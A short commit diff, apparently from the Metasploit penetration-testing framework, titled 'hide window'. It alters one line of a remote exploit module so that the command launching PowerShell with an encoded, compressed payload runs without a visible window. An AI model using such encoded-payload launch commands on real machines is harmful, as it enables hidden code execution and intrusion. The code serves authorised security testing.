hide window

unstable
RageLtMan 2013-01-24 14:43:07 -05:00
parent e6ebf772de
commit 61cd3b55fc
1 changed files with 1 additions and 1 deletions

View File

@ -270,6 +270,6 @@ class Metasploit3 < Msf::Exploit::Remote
psh_payload = compress_script(psh_payload) psh_payload = compress_script(psh_payload)
# Determine appropriate architecture # Determine appropriate architecture
ps_bin = datastore['RUN_WOW64'] ? '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' ps_bin = datastore['RUN_WOW64'] ? '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
command = "%COMSPEC% /C start #{ps_bin} -EncodedCommand #{psh_payload}" command = "%COMSPEC% /B /C start #{ps_bin} -EncodedCommand #{psh_payload}"
end end
end end